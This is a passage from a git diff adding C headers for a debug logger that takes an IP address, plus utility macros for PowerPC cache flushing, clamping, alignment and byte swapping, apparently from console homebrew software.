if((vasprintf(&tmp, format, va) >= 0) && tmp) + { + log_print(tmp); + } + va_end(va); + + if(tmp) + free(tmp); +} +#endif diff --git a/src/utils/logger.h b/src/utils/logger.h new file mode 100644 index 0000000..dd7cc71 --- /dev/null +++ b/src/utils/logger.h @@ -0,0 +1,26 @@ +#ifndef __LOGGER_H_ +#define __LOGGER_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#define DEBUG_LOGGER 1 + +#ifdef DEBUG_LOGGER +void log_init(const char * ip); +void log_deinit(void); +void log_print(const char *str); +void log_printf(const char *format, ...); +#else +#define log_init(x) +#define log_deinit() +#define log_print(x) +#define log_printf(x, ...) +#endif + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/src/utils/utils.h b/src/utils/utils.h new file mode 100644 index 0000000..c460fa2 --- /dev/null +++ b/src/utils/utils.h @@ -0,0 +1,47 @@ +#ifndef __UTILS_H_ +#define __UTILS_H_ + +#include +#include "../common/types.h" + +#ifdef __cplusplus +extern "C" { +#endif + +#define FlushBlock(addr) asm volatile("dcbf %0, %1\n" \ + "icbi %0, %1\n" \ + "sync\n" \ + "eieio\n" \ + "isync\n" \ + : \ + :"r"(0), "r"(((addr) & ~31)) \ + :"memory", "ctr", "lr", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12" \ + ); + +#define LIMIT(x, min, max) \ + ({ \ + typeof( x ) _x = x; \ + typeof( min ) _min = min; \ + typeof( max ) _max = max; \ + ( ( ( _x ) < ( _min ) ) ? ( _min ) : ( ( _x ) > ( _max ) ) ? ( _max) : ( _x ) ); \ + }) + +#define DegToRad(a) ( (a) * 0.01745329252f ) +#define RadToDeg(a) ( (a) * 57.29577951f ) + +#define ALIGN4(x) (((x) + 3) & ~3) +#define ALIGN32(x) (((x) + 31) & ~31) + +// those work only in powers of 2 +#define ROUNDDOWN(val, align) ((val) & ~(align-1)) +#define ROUNDUP(val, align) ROUNDDOWN(((val) + (align-1)), align) + +#define le16(i) ((((u16) ((i) & 0xFF)) << 8) | ((u16) (((i) & 0xFF00) >> 8))) +#define le32(i) ((((u32)le16((i) & 0xFFFF)) << 16) | ((u32)le16(((i) & 0xFFFF0000) >> 16))) +#define le64(i) ((((u64)le32((i) & 0xFFFFFFFFLL)) << 32) | ((u64)le32(((i) & 0xFFFFFFFF00000000LL) >> 32))) + +#ifdef __cplusplus +} +#endif + +#endif // __UTILS_H_